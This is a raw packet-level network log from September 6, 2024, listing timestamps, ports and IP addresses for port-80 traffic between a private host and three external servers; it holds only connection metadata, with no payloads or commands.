Sep 6, 2024 08:17:06.919677019 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.919687986 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.919703007 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.919775963 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.919785976 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.919795990 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.919802904 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.919809103 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.919817924 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.919821024 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.919842958 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.919876099 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.919899940 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.919912100 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.919923067 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.919934034 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.919945002 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.919971943 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.919971943 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.919974089 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.919985056 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.919996023 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.920006037 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.920017958 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.920114994 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.920116901 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.920125961 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.920136929 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.920146942 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.920156002 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.920164108 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.920164108 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.920171976 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.920182943 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.920192003 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.920197010 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.920205116 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.920217037 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.920217037 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.920229912 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.920257092 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.920277119 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.920288086 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.920299053 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.920309067 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.920319080 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.920322895 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.920373917 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.920373917 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.921971083 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.921983004 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.921993971 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.922030926 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.922040939 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.922050953 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.922060966 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.922061920 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.922085047 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.922085047 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.922089100 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.922100067 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.922120094 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.922127008 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.922127008 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.922131062 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.922156096 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.922205925 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.922216892 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.922228098 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.922229052 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.922254086 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.922290087 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.922300100 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.922310114 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.922314882 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.922322989 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.922333002 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.922333956 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.922343969 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.922369957 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.922369957 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.922372103 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.922383070 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.922394991 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.922609091 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.922620058 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.922629118 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.922638893 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.922663927 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.922671080 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.922672033 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.922674894 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.922684908 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.922696114 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.922708988 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.922713995 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.922715902 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.922733068 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.922790051 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.922806025 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.922816992 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.922816992 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.922827005 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.922838926 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.922848940 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.922849894 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.922851086 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.922861099 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.922887087 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.922887087 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.922914982 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.922914982 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.923918009 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.923934937 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.923965931 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.923994064 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.924022913 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.924034119 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.924042940 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.924082041 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.924082041 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.924086094 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.924097061 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.924310923 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.924320936 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.924340963 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.924412012 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.924437046 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.924515963 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.924526930 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.924537897 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.924550056 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.924563885 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.924563885 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.924566031 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.924599886 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.924726963 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.924746037 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.924753904 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.924757957 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.924771070 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.924774885 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.924782038 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.924794912 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.924833059 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.924833059 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.924859047 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.924870968 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.924880028 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.924907923 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.924907923 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.925321102 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.926002026 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.926054001 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.926086903 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.926096916 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.926105976 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.926117897 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.926130056 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.926132917 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.926141024 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.926151037 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.926160097 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.926160097 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.926187992 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.926743031 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.926753998 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.926764011 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.926794052 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.926805973 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.926822901 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.926915884 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.926925898 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.926935911 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.926935911 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.926947117 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.926959038 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.926960945 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.926970005 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.926980019 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.926983118 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.926994085 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.927005053 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.927006960 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.927031040 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.927037954 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.927048922 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.927062988 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.927175045 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.927210093 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.927221060 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.927229881 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.927242041 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.927252054 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.927263021 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.927275896 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.927285910 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.927289963 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.927295923 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.927306890 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.927310944 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.927310944 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.927318096 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.927334070 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.927345037 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.927352905 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.927352905 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.927359104 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.927369118 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.927381039 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.927385092 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.927385092 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.927392006 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.927402020 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.927414894 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.927434921 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.927442074 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.927442074 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.927445889 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.927458048 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.927468061 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.927478075 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.927500010 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.927501917 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.927512884 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.927522898 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.927529097 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.927550077 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.927551031 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.927568913 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.927580118 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.927589893 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.927593946 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.927601099 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.927638054 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.927638054 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.927717924 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.927731037 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.927742958 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.927753925 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.927764893 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.927766085 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.927776098 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.927778006 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.927788019 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.927809000 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.927809954 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.927813053 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.927819967 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.927829981 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.927831888 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.927851915 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.927911043 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.928225040 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.928277016 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.928287029 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.928297043 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.928306103 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.928308010 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.928323030 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.928324938 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.928335905 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.928345919 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.928349972 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.928359032 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.928369999 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.928371906 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.928379059 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.928392887 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.928419113 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.928420067 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.928457022 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.928468943 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.928486109 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.928498983 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.928508997 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.928524017 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.928550959 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.928550959 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.929125071 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.929143906 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.929153919 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.929202080 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.929213047 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.929228067 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.929230928 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.929241896 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.929253101 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.929255962 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.929290056 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.929290056 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.929356098 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.929368973 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.929379940 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.929390907 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.929403067 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.929409981 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.929409981 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.929420948 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.929425001 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.929433107 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.929442883 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.929450989 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.929454088 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.929466009 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.929476023 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.929485083 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.929487944 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.929500103 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.929500103 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.929510117 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.929544926 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.929553986 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.929553986 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.929555893 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.929596901 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.929596901 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.929625034 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.929636955 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.929649115 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.929672956 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.929677963 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.929688931 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.929697990 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.929702997 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.929725885 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.932262897 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.953080893 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.953095913 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.953105927 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.953155994 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.953161955 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.953174114 CEST	80	49733	147.45.44.104	192.168.2.4
